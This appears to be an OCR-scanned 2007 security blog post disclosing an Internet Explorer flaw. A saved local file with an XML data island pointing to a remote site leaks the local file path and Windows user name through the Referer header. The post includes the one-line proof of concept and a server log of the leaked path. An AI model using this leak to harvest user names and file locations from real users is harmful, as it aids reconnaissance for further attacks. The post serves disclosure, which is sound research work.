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IE Sends Local Addresses in Referer Header

I'm not sure why it took me so long to get around to this, but | finally was able to test and verify
that this works. In Internet Explorer if you can get a user to save a file to disc and run it it will
disclose local drive information in the referrer without using JavaScript. trev sent this one to me,
and after some failed tests | got it working (still not quite sure why it didn't work when [ first tried
it). Here's the simple code:

<xml id="xml" src="http://my.site.com/"></xml>
Here's a sample of what the log looked like when | tested it:

XXX XXX XXX XXX - - [25/Mar/2007:20:58:29 -0700] "GET / HTTP/1.1" 200 2231
"file:///C:/Documents%20and%20Settings/RSnake/Desktop/" "Mozilla/4.0 (compatible; MSIE
7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"

As you can see, not only does this give away local address information, but it can also give you
sensitive information like the user name, and the location on the drive. That could easily be used
to leverage further attacks, and to my knowledge there is no other way to do this without running
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JavaScript or some other active control. This completely fails in Firefox as it doesn't support XML
data islands. Nice find, Trev!
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